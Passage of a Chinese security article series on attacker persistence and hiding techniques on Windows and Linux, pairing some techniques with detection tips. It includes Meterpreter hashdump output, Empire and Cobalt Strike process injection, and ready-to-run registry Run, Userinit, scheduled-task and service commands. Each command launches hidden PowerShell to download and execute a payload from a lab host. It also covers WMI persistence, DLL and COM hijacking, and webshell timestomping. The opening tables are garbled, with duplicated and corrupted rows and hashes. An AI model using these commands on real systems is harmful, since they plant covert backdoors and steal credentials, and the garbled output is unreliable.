| 3756 992 dm. exe x64 1 WIN-DBMSEM20MJDAdministrator C:\Windows\System32\dwan.exe 3780 3736 explorer.exe x64 1 WIN-DBMSEM20MJDAdministrator C:\Windows\cxplorer.exe 3828 3780 Topview.exe x64 1 WIN-DBMSEM20MJDAdministrator C:\Windows\System32\cxplorer.exe 3928 3920 csrse.exe x64 1 WIN-DBMSEM20MJDAdministrator C:\Windows\System32\csrss.exe 3952 3920 winlopon.exe x64 1 WIN-DBMSEM20MJDAdministrator C:\Windows\System32\csrss.exe 4092 512 taskhost.exe x64 1 WIN-DBMSEM20MJDAdministrator C:\Windows\System32\csrss.exe meterpreter migrate 2364 1 WIN-DBMSEM20MJDAdministrator C:\Windows\System32\taskhost.exe meterpreter migrate 2364 1 WIN-DBMSEM20MJBAdministrator C:\Windows\System32\taskhost.exe meterpreter migrate 2364 1 WIN-DBMSEM20MJBAdministrator C:\Windows\System32\taskhost.exe ** Migrating from 32081 to 2364 1 WIN-DBMSEM20MJBAdministrator C:\Windows\System32\taskhost.exe | 3684 | 3616 | LogonUI.exe | x64 | | NT AUTHORITY\SYSTEM | C:\Windows\System32\LogonUI.exe | | |
| <pre>3780 3736 explorer.exe x64 1 WIN-D8MSEM20MJB\Administrator C:\Windows\explorer.exe 3828 3780 Topview.exe x64 1 WIN-D8MSEM20MJB\Administrator C:\Users\Administrator\Desktop\Topview.exe 3928 3920 carss.exe x64 1 NT AUTHORITY.SYSTEM C:\Windows\System32\vindo</pre> | 3756 | 992 | dwm.exe | x64 | | WIN-D8MSEM20MJB\Administrator | C:\Windows\System32\dwm.exe | | |
| 3828 3780 Tcpview.exe x86 1 WIN-DBMSEM20MJNUAMinistrator C:\Windows\System32\csrss.exe 3928 3920 csrss.exe x64 1 NT AUTHORITY/SYSTEM C:\Windows\System32\csrss.exe 3928 3920 winlogon.exe x64 1 NT AUTHORITY/SYSTEM C:\Windows\System32\csrss.exe 4092 512 taskhost.exe x64 1 WIN-DBMSEM20MJB\Administrator C:\Windows\System32\taskhost.exe meterpreter migrate 2364 . . WIN-DBMSEM20MJB\Administrator C:\Windows\System32\taskhost.exe (*) Migrating from 3288 to 2364 (*) Migrating compated successfully. meterpreter > hashdump Administrator:00:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c55d7e0c0089c0::: meterpreter > @costof1:ad3b435b51404ee:31d6cfe0d16ae931b73c55d7e0c0089c0::: . . <td>3780</td> <td>3736</td> <td>explorer.exe</td> <td>x64</td> <td></td> <td>WIN-D8MSEM20MJB\Administrator</td> <td>C:\Windows\explorer.exe</td> | 3780 | 3736 | explorer.exe | x64 | | WIN-D8MSEM20MJB\Administrator | C:\Windows\explorer.exe | | |
| <pre>3928 3920 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe 3952 3920 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe 4092 512 taskhost.exe x64 1 WIN-DBMSEM20MJB\Administrator C:\Windows\System32\taskhost.exe meterpreter > migrate 2364 (*) Migration completed successfully. meterpreter > hashdump Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter ></pre> | 3828 | 3780 | Tcpview.exe | x86 | 1 | WIN-D8MSEM20MJB\Administrator | C:\Users\Administrator\Desktop\Tcpview.exe | | |
| <pre>3952 3920 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\taskhost.exe 4092 512 taskhost.exe x64 1 WIN-DBMSEM20MJB\Administrator C:\Windows\System32\taskhost.exe meterpreter > migrate 2364 * Migrating from 3288 to 2364 * Migrating completed successfully. meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae93lb73c59d7e0c089c0::: meterpreter > </pre> | 3928 | 3920 | csrss.exe | x64 | 1 | NT AUTHORITY\SYSTEM | C:\Windows\System32\csrss.exe | | |
| 4092 512 taskhost.exe x64 1 WIN-DEMSEM20MJB\Administrator C:\Windows\System32\taskhost.exe meterpreter > migrate 2364 (*) Migrating from 3288 to 2364 (*) Migrating completed successfully. meterpreter > hashdump Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter > | 3952 | 3920 | winlogon.exe | x64 | | NT AUTHORITY\SYSTEM | C:\Windows\System32\winlogon.exe | | |
| <pre>meterpreter > migrate 2364 [*] Migrating from 3288 to 2364 [*] Migration completed successfully. meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter ></pre> | 4092 | 512 | taskhost.exe | x64 | | WIN-D8MSEM20MJB\Administrator | C:\Windows\System32\taskhost.exe | | |
| <pre>meterpreter > migrate 2364 (*) Migrating from 3288 to 2364 (*) Migrating from 3288 to 2364 (*) Migrating completed successfully. meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d66fe0d16ae931b73c59d7e0c089c0::: meterpreter > </pre> | | | | | | | | | |
| <pre>[*] Migrating from 3288 to 2364 [*] Migrating from 3288 to 2364 [*] Migrating completed successfully. meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter ></pre> | meterp | reter | > migrate 2364 | | | | | | |
| <pre>Migration completed successfully. meterpreter > hashdump Administrator:S00:aad3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter ></pre> | [*] Mi | gratin | g from 3288 to 2364 | | | | | | |
| <u>meterpreter</u> > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: <u>meterpreter</u> > | [*] Mi | gratio | n completed successfully. | | | | | | |
| Administrator:500:aad3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter > | meteroreter > hashdumo | | | | | | | | |
| Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter > | Admini | dministrator:500:add3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040::: | | | | | | | |
| meterpreter > | Guest: | Guest:50:10014045/404eaad3435551404eea31d6cfe0d16ae931b73c59d7e0c09ec0::: | | | | | | | |
| | metern | reter | > | | | | | | |
| | | | | | | | | | |

Window后门排查:

通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成 红色消失,如此循环。



2、Empire会话进程注入

通过psinject模块进行会话注入,直接输入ps选择一个SYSTEM权限的进程PID,使用进程注入模块,来获取权限。如下图:

| <pre>(Empire: powershell/mana; Job started: RWV2MA [*] Valid results returns [*] Sending POWERSHELL st [*] New agent DC4KPEHC el [*] Initial agent DC4KPEHC [*] Sending agent (stage (Empire: powershell/mana; (Empire: powershell/mana;)))))))))))))))))))))))))))))))))))</pre> | <pre>rement/psinject) > [*] d by 192,168,28.131 rager (stage 1) to 192 eecked in 16 from 192.168.28.132 2) to DC4KFEH6 at 192 rement/psinject) > tement/psinject) > age</pre> | Agent 785P20EL returned 2.168.28.131 1 now active (Slack) 2.168.28.131 | l results. | | | | |
|---|--|---|--------------------------------------|------------------------|-----------------------------|---|--|
| [*] Active agents: | | | | | | | |
| Name La Internal IP 7BSP2UEL ps 192.168.28.3 DC4KFBH6 ps 192.168.28.3 | Machine Name 31 WIN-D8MSEM20MJB 31 WIN-D8MSEM20MJB | Username *WIN-D8MSEM20MJB\Admini *WORKGROUP\SYSTEM | Process powershell dllhost | PID 772 2616 | Delay 5/0.0 5/0.0 | Last Seen 2019-08-11 09:48:20 2019-08-11 09:48:21 | |

Window后门排查:利用process monitor或者火绒剑监控进程都可以定位到注入进程。

| 🎒 Process Monitor - Sysinternals: www. | sysinternals.com | | |
|--|-------------------------------|---|-----|
| File Edit Event Filter Tools Options H | elp | | |
| | 📕 🔐 🔜 🙏 🗢 🌆 | | |
| Time of Day Propose Name | PTD Operation | Dath | |
| 22:02:28 1975527 Il looss wate | 512 Thread Create | ratii | |
| 23:02:38 2886899 I Isass eve | 512 A TCP Connect | WIN-DRMSEM20WIE localdomain:51055 -> 192 168 28 128:http | |
| 22:02:28 2890508 1 1sass exe | 512 A TCP Sand | WIN-DBMSEM20MJB localdomain:51055 -> 192.168.28.128.http | |
| 23:02:38 3642503 I Isass eve | 512 A TCP Receive | WIN-DBMSEM20WJB localdomain:51055 -> 192 168 28 128:http | |
| 23:02:38 3645856 II Isass eve | 512 A TCP Receive | WIN-DRMSRM20MJB localdomain:51055 -> 192 168 28 128:http | |
| 23:02:38 3656065 II Isass exe | 512 A TCP Disconnect | WIN-DBMSEM20MJB localdomain:51055 => 192 168 28 128:http | |
| 23:02:43.5410645 IV 15855 exe | 512 A TCP Connect | WIN-D8MSEM20MIE localdomain:51057 -> 192 168 28 128:http | |
| 23:02:43.5414745 📰 1sass.exe | 512 👗 TCP Send | WIN-D8MSEM20MTB. localdomain:51057 -> 192.168.28.128:http | |
| 23:02:43.6612075 IV 1sass.exe | 512 A TCP Receive | WIN-D8MSEM20MTB localdomain:51057 -> 192 168 28 128:http | |
| 23:02:43.6615785 📰 1sass.exe | 512 👗 TCP Receive | WIN-D8MSEM20MTB. localdomain:51057 -> 192.168.28.128:http | |
| 23:02:43.6625529 📰 1sass.exe | 512 👗 TCP Disconnect | WIN-D8MSEM20MJB. localdomain:51057 -> 192.168.28.128:http | |
| 23:02:43.7268695 📰 1sass.exe | 512 a RegSetInfoKey | HKLM\SOFTWARE\Microsoft\Cryptography | |
| 23:02:43.7390315 📰 1sass.exe | 512 🔜 IRP MJ CREATE | C:\Windows\System32 | |
| 23:02:43.7392518 📰 1sass.exe | 512 🚽 IRP MJ DIRECTORY CONTRO | L C:\Windows\System32\whoami.ps1 | |
| 23:02:43.7394362 📰 1sass.exe | 512 🔜 IRP_MJ_CLEANUP | C:\Windows\System32 | |
| 23:02:43.7395994 📰 1sass.exe | 512 🚽 IRP MJ CLOSE | C:\Windows\System32 | |
| 23:02:43.7398839 📰 1sass.exe | 512 🛃 IRP_MJ_CREATE | C:\Windows\System32 | |
| 23:02:43.7400564 📰 1sass.exe | 512 🛃 IRP_MJ_DIRECTORY_CONTRO | L C:\Windows\System32\whoami.psm1 | |
| 23:02:43.7402497 📰 1sass.exe | 512 🛃 IRP_MJ_CLEANUP | C:\Windows\System32 | |
| 23:02:43.7404186 📰 1sass.exe | 512 🛃 IRP_MJ_CLOSE | C:\Windows\System32 | |
| 23:02:43.7406939 📰 1sass.exe | 512 🛃 IRP_MJ_CREATE | C:\Windows\System32 | |
| 23:02:43.7408653 📰 1sass.exe | 512 🛃 IRP_MJ_DIRECTORY_CONTRO | L C:\Windows\System32\whoami.psd1 | |
| 23:02:43.7410356 📰 1sass.exe | 512 🛃 IRP_MJ_CLEANUP | C:\Windows\System32 | |
| 23:02:43.7412260 📰 1sass.exe | 512 🛃 IRP_MJ_CLOSE | C:\Windows\System32 | |
| 23:02:43.7415070 📰 1sass.exe | 512 🛃 IRP_MJ_CREATE | C:\Windows\System32 | |
| 23:02:43.7415738 📰 1sass.exe | 512 🛃 IRP_MJ_DIRECTORY_CONTRO | L C:\Windows\System32\whoami.COM | |
| 23:02:43.7416222 📰 1sass.exe | 512 🛃 IRP_MJ_CLEANUP | C:\Windows\System32 | |
| 23:02:43.7416684 📰 1sass.exe | 512 🛃 IRP_MJ_CLOSE | C:\Windows\System32 | |
| 23:02:43.7420761 📰 1sass.exe | 512 🛃 IRP_MJ_CREATE | C:\Windows\System32 | |
| 23:02:43.7423252 📰 1sass.exe | 512 🛃 IRP_MJ_DIRECTORY_CONTRO | L C:\Windows\System32\whoami.EXE | |
| 23:02:43.7423988 📰 1sass.exe | 512 🛃 IRP_MJ_DIRECTORY_CONTRO | L C:\Windows\System32 | |
| 23:02:43.7424827 📰 1sass.exe | 512 🛃 IRP_MJ_CLEANUP | C:\Windows\System32 | • |
| • | | | Þ |
| Showing 114 of 34,261 events (0.33%) | Backed by virtual memory | | 11. |

| 💽 火绒剑-互联 | 网安全分析软件 | | | | | | | _ | |
|--------------|--------------|------|----------|---------|---------------|----------------------|--------------|------------|-----|
| | E 🥂 j | 进程 | i 🥥 | 动项 | 🗾 内核 | 🍰 钩子扫描 | 🚳 服务 | | 4 ▶ |
| 过滤 ▼ | 停止监控 | 清空 | 导出日 | 志 | \rightarrow | | | ^ v | |
| 时间 | 进程名 | | │进程ID | │ 任务组ID | □动作 | 路径 | | | |
| 00:08:36:467 | 💷 lsass. exe | | 512:0 | 0 | NET_recv | 192.168.28.128:80 | | | |
| 00:08:41:592 | 💷 lsass. exe | | 512:3768 | 0 | NET_connect | 192.168.28.128:80 | | | |
| 00:08:41:597 | 🗾 lsass. exe | | 512:0 | 0 | NET_http | 192.168.28.128/login | /process.php | | |
| 00:08:41:597 | 💷 lsass. exe | | 512:0 | 0 | NET_send | 192.168.28.128:80 | | | |
| 00:08:41:729 | 💷 lsass. exe | | 512:0 | 0 | NET_recv | 192. 168. 28. 128:80 | | | |
| 00:08:41:730 | 💷 lsass. exe | | 512:0 | 0 | NET_recv | 192.168.28.128:80 | | | |
| 00:08:46:854 | 💷 lsass. exe | | 512:3768 | 0 | NET_connect | 192.168.28.128:80 | | | |
| 00:08:46:857 | 💷 lsass. exe | | 512:0 | 0 | NET_http | 192.168.28.128/news. | php | | |
| 00:08:46:857 | 💷 lsass. exe | | 512:0 | 0 | NET_send | 192.168.28.128:80 | | | |
| 00:08:46:987 | 💷 lsass. exe | | 512:0 | 0 | NET_recv | 192.168.28.128:80 | | | |
| 00:08:46:987 | 💷 lsass. exe | | 512:0 | 0 | NET_recv | 192.168.28.128:80 | | | |
| 00:08:52:108 | 💷 lsass. exe | | 512:3768 | 0 | NET_connect | 192.168.28.128:80 | | | |
| 00:08:52:111 | 💷 lsass. exe | | 512:0 | 0 | NET_http | 192.168.28.128/admin | √get.php | | |
| 00:08:52:111 | 💷 lsass. exe | | 512:0 | 0 | NET_send | 192.168.28.128:80 | | | |
| 00:08:52:235 | 💷 lsass. exe | | 512:0 | 0 | NET_recv | 192.168.28.128:80 | | | |
| 00:08:52:236 | 💷 lsass. exe | | 512:0 | 0 | NET_recv | 192.168.28.128:80 | | | |
| 00:08:52:365 | 💷 lsass. exe | | 512:0 | 0 | PROC_exec | C:\Windows\System32\ | net. exe | | |
| 00:08:52:695 | 💷 lsass. exe | | 512:3768 | 0 | NET_connect | 192.168.28.128:80 | | | |
| 00:08:52:698 | 💷 lsass. exe | | 512:0 | 0 | NET_http | 192.168.28.128/admin | √get.php | | |
| 00:08:52:698 | 💷 lsass. exe | | 512:0 | 0 | NET_send | 192.168.28.128:80 | | | |
| 00:08:52:699 | 🗾 lsass. exe | | 512:0 | 0 | NET_send | 192.168.28.128:80 | | | - |
| • | | | | | | | | | |
| 总事件数: 1155 | | 显示事件 | ‡数:143 | | 监控状态:开启 | | | | 1. |

3、Cobalt Strike进程注入

选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会话,这个会话 就是成功注入到某进程的beacon。

| Cobalt Strike | View Att | acks Reporting He | elp | | | | | |
|---------------|----------|-------------------|------------------|-------------------|-----------|-----------------|--------------|----------|
| | | 🕀 🖾 🗶 🔑 | 🖬 🏟 🏟 🗎 | 🖂 🕜 📥 🏻 | Û | | | |
| external | | internal 🔺 | user | computer | note | pid | last | |
| 192.168. | 229.130 | 192.168.229.130 | Administrator * | ANTA-87BEEB8 | 3 | 1532 | 891m: | S |
| | | | | | | | | D |
| | Cho | ose a listener | | | | | | |
| | name | p | ayload | | | host | port | |
| | test | v | /indows/beacon_h | nttp/reverse_http | | 192.168.229.129 | 12345 | |
| Event Log | | | | | | | | |
| PID | | | Cho | oose Add | Help | | | |
| 708 | 479 | ayshact av | | ×96 | 0 | | | |
| 808 | 420 | sychost exe | | x80 | 0 | | | |
| 824 | 428 | sychost exe | 2 | x86 | 0 | NT AUTH | ORITY\SYSTEM | (A) |
| 948 | 428 | spoolsv.exe | 2 | x86 | 0 | NT AUTH | | <u> </u> |
| 976 | 428 | msdtc.exe | - | x86 | 0 | | | |
| 1104 | 428 | svchost.exe | 9 | x86 | 0 | NT AUTH | ORITY\SYSTEM | |
| 1160 | 428 | svchost.exe | 9 | x86 | 0 | | - | * |
| | Kill | Refresh | Inject Log H | Keystrokes S | creenshot | Steal Token | Help | |



Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。

| 🎒 Process Bonitor - Sysinternals: 🗤 . sysinternals. con 📃 | BX |
|---|---------|
| <u>F</u> ile <u>E</u> dit E <u>v</u> ent Fi <u>l</u> ter <u>T</u> ools <u>O</u> ptions <u>H</u> elp | |
| 🖆 🖬 🔍 📴 🖾 🗢 🛆 🗐 🗉 🛤 🦐 🎎 🗟 🎿 🌄 📠 | |
| Tim Process Name PID Operation Path | |
| 10:1 🔤 dllhost.eze 👘 1484 🌉 RegQueryValue HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersi | 🗍 |
| -10:1 🔤 dllhost.exe 👘 1484 🛃 QueryStandaC:\Documents and Settings\Default User\Local Setting | |
| 10:1 🔤 dllhost.exe 👘 1484 🔔 TCP Connect a 🔤 -87beeb818f.localdomain:1128 -> 192.168.229.129: | |
| 10:1 🔤 dllhost.exe 1484 🔔 TCP Send a 187beeb818f.localdomain:1128 -> 192.168.229.129: | |
| 10:1 🔤 dllhost.exe 🛛 1484 🔔 TCP Receive a 👘 87beeb818f.localdomain:1128 -> 192.168.229.129: | |
| 10:1 🔤 dllhost.exe 👘 1484 🔔 TCP Disconnecta87beeb818f.localdomain:1128 -> 192.168.229.129: | |
| 10:1 🔤 dllhost.exe 👘 1484 🔜 QueryStandaC: Documents and Settings\Default User\Local Setting | |
| 10:1 🔤 dllhost.exe 👘 1484 🌉 RegQueryValue HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersi | |
| 10:1 🔤 dllhost.exe 👘 1484 🔜 QueryStandaC:\Documents and Settings\Default User\Local Setting | |
| 10:1 🔄 dllhost.exe 👘 1484 🌉 RegQueryValue HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersi | |
| 10:1 🛅 dllhost.exe 👘 1484 🔜 QueryStandaC:\Documents and Settings\Default User\Local Setting | |
| 10:1 🛅 dllhost.exe 👘 1484 🔔 TCP Connect 👘 👘 87beeb818f.localdomain:1130 -> 192.168.229.129: | |
| 10:1 🔤 dllhost.exe 1484 🚵 TCP Send a -87beeb818f.localdomain:1130 -> 192.168.229.129: | |
| 10:1 🔤 dllhost.exe 1484 🚠 TCP Receive a -87beeb818f.localdomain:1130 -> 192.168.229.129: | |
| 10:1 🛅 dllhost.exe 👘 1484 🚠 TCP Disconnecta: -87beeb818f.localdomain:1130 -> 192.168.229.129: | |
| -10:1 🧮 dllhost.exe 👘 1484 🔜 QueryStandaC:\Documents and Settings\Default User\Local Setting | |
| 10:1 🧮 dllhost.exe 👘 1484 🌉 RegQueryValue HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersi | |
| 10:1 🧮 dllhost.exe 👘 1484 🔜 QueryStandaC:\Documents and Settings\Default User\Local Setting | |
| 10:1 🧮 dllhost. eze 👘 1484 🌉 RegQueryValue HKU\. DEFAVLT\Software\Microsoft\Windows\CurrentVersi | |
| 10:1 🧮 dllhost.exe 👘 1484 🔜 QueryStandaC:\Documents and Settings\Default User\Local Setting | |
| 10:1 🧮 dllhost.exe 👘 1484 🔔 TCP Connect 👘 -87beeb818f.localdomain:1132 -> 192.168.229.129: | |
| 10:1 🗖 dllhost.exe 1484 🌉 TCP Send 🚺 😽 87beeb818f.localdomain:1132 -> 192.168.229.129:1 | 2345 |
| 10:1 🗖 dllhost.exe 👘 1484 🚠 TCP Receive 🐂 -87beeb818f.localdomain:1132 -> 192.168.229.129: | |
| 10:1 🛅 dllhost.exe 👘 1484 🚠 TCP Receive 🥡 -87beeb818f.localdomain:1132 -> 192.168.229.129: | 📃 |
| 10:1 🛅 dllhost. exe 👘 1484 🚠 TCP Disconnect 🚛 87beeb818f. local domain: 1132 -> 192. 168. 229. 129: | 🗐 |
| 10:1 — dllhost ava 1484 🛄 QuaryStanda C.\Nocuments and Sattings\Nafault Hear\Local Satting | |
| | |
| Showing 731 of 40,835 events (1.7%) Backed by virtual memory | |

0x05 结束

本文主要介绍了Window下的几种隐藏技术,包括隐藏文件、隐藏账号、端口复用、进程注入等方面的简单实现及其排 查技巧。仅作抛砖引玉之用,欢迎留言分享。

第2篇: Windows权限维持--后门篇

关键词: Windows系统后门、权限维持

在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本 文将对常见的window服务端自启动后门技术进行解析,知己知彼方能杜绝后门。

0x01 注册表自启动

通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。

常用的注册表启动键:

```
# Run键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Winlogon\Userinit键
```

HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

类似的还有很多,关键词:注册表启动键值。

使用以下命令可以一键实现无文件注册表后门:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f

Logon Scripts 后门

注册表路径: HKEY_CURRENT_USER\Environment\

创建字符串键值: UserInitMprLogonScript, 键值设置为bat的绝对路径: c:\test.bat

userinit后门

在用户进行登陆时, winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。

利用USERINIT注册表键实现无文件后门:

```
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\
\powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
```

0x02 组策略设置脚本启动

运行gpedit.msc进入本地组策略,通过Windows设置的"脚本(启动/关机)"项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。



容易遇到的问题:脚本需全路径,如C:\windows\System32\windowsPowerShell\v1.0\powershell.exe

0x03 计划任务

通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。

使用以下命令可以一键实现:

```
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c
\"IEX ((new-object
net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/logo.gif\"\"\"))\""
```

容易遇到的问题: cmd命令行执行单引号会被替换成双引号, 故这里使用三个双引号替代。

计划脚本每1分钟运行一次。



0x04 服务自启动

通过服务设置自启动,结合powershell实现无文件后门。

使用以下命令可实现:

sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""

| sc | descripti | ion KeyName "J | st For Test" //设置服务的描述字符串 |
|-----|------------|-----------------|----------------------------|
| sc | config Na | ame start= auto | //设置这个服务为自动启动 |
| net | : start Na | ame | //启动服务 |

成功创建了一个自启动服务

| 🔍 服务 | | | |
|------------|------------------------|--|---------|
| 文件() 操作(A) | 查看(V) 帮助(H |) | |
| a 🗐 🖬 🔄 🧔 | ì 🗟 🛛 🖬 🔤 | KeyWane 的属性(本地计算机) | |
| 🤹 服务 (本地) | 😋 服务(本)(| 常规 登录 恢复 依存关系 | |
| | KeyName | 服务名称: KeyName 本他系统 | |
| | 启动此服务 | 显示名称: KeyName 网络服务 | |
| | 描注: | 描述: Just For Test 本地服务 | |
| | 1曲八工・ Just For Test | | |
| | | 启动类型 (B): 自动 | |
| | | <u>帮助我配置服务启动洗项。</u> 网络服务 | |
| | | 服务状态: 已停止 本地服务 本地服务 | |
| | | 启动(S) 停止(T) 暫停(P) 恢复(R) 本地服务 本地系统 本地系统 本地系统 本地系统 | |
| | | 当从此处启动服务时,您可指定所适用的启动参数。 网络服务 | |
| | | 启动参数 (M): 本地服务 | |
| | | 网络服务 本地服务 | |
| | | <u>确定</u> 取消」 应用 (A) 本地服务 本地服务 | |
| | | 🔍 Plug and Play 使 已启动 自动 本地系统 | - |

0x05 WMI后门

在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit, 下面用它的Persistence模块来示范一个简单的例子。

Import-Module .\Persistence\Persistence.psm1
\$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
\$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption \$ElevatedOptions UserPersistenceOption \$UserOptions -Verbose

0x06 dll劫持

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。

比较常用的如LPK.dll的劫持:

win7及win7以上系统增加了KnownDLLs保护,需要在注册表:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls

下添加 "lpk.dll" 才能顺利劫持:



0x07 COM劫持

利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对 CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。这种方法可 以绕过Autoruns对启动项的检测。



0x08 远程控制

远控木马是一种恶意程序,其中包括在目标计算机上用于管理控制的后门。远程访问木马通常与用户请求的程序(如游戏程序)一起,是一种看不见的下载,或作为电子邮件附件发送。一旦主机系统被攻破,入侵者可以利用它来向其他易 受感染的计算机分发远程访问木马,从而建立僵尸网络。

一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、QuasarRAT等。

| ddress | Tag | User@PC | | | Version | Status | User Sta | tus Country | Operating System | Account Typ |
|-----------|-----|---------------|---|------|----------------|-------------|----------|-------------|-----------------------|-------------|
| 127.0.0.1 | Off | Connection | • | знон | 1.3.0.0 | Connected | Active | China [CN] | Windows 10 专业版 64 Bit | User |
| | -93 | System | • | 0 s | ystem Inform | nation | | | | |
| | ۲ | Surveillance | ۲ | 😑 F | ile Manager | | | | | |
| | 4 | Miscellaneous | ۲ | 🔁 s | tartup Mana | ger | | | | |
| | | Select All | | 🐼 Т | ask Manage | r | | | | |
| | | | _ | - R | lemote Shell | | | | | |
| | | | | 👧 т | CP Connectio | ons | | | | |
| | | | | 🐻 R | leverse Proxy | / | | | | |
| | | | | R R | legistry Edito | r | | | | |
| | | | | 🤫 E | levate Client | Permissions | | | | |
| | | | | ► A | ctions | | • 0 | Shutdown | | |
| | | | | | | | | Restart | | |
| | | | | | | | 0 | Standby | | |
| | | | | | | | | | | |
| | | | | | | | | | | |

0x09 结束语

未知攻焉知防,本文分享了几种Window下的自动启权限维持技术。管理员在平时运维过程应当保持警惕,掌握一定的入侵排查技巧,及时进行系统补丁更新,定期对服务器安全检查,才能有效地预防后门。

第3篇: Linux权限维持--隐藏篇

0x00 前言

攻击者在获取服务器权限后, 会通过一些技巧来隐藏自己的踪迹和后门文件, 本文介绍Linux下的几种隐藏技术。

0x01 隐藏文件

Linux 下创建一个隐藏文件: touch .test.txt

[root@localhost tmp]# ls [root@localhost tmp]# touch .l.txt [root@localhost tmp]# ls -1 总用量 0 [root@localhost tmp]# ls -al 总用量 32 drwxrwxrwt. 8 root root 4096 6月 29 22:01 . 创建隐藏了 dr-xr-xr-x. 19 root root 4096 5月 18 2018 -rw-r--r--. 1 root root 0 6月 29 22:01 .1.txt drwx-----. 2 nobody nobody 4096 7月 drwxrwxrwt. 2 root root 4096 1月 30 2018 9 2016 drwxrwxrwt. 2 root root 4096 8月 10 2018 4096 1月 9 2016 drwxrwxrwt. 2 root root Test-uni; drwxrwxrwt. 2 root drwxrwxrwt. 2 root 4096 8月 10 2018 root uni 4096 1月 9 2016 root хтм [root@localhost tmp]# more . .esd-0/ .font-unix/ .ICE-unix/ .Test-unix/ .XII-unix/ .XIM-unix/ .1.txt

touch 命令可以创建一个文件, 文件名前面加一个 点 就代表是隐藏文件,如下图:

一般的Linux下的隐藏目录使用命令 1s -1 是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用 到命令: 1s -a1

这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/temp/.ICEunix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/

0x02 隐藏文件时间戳

Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

利用方法

touch -r index.php webshell.php

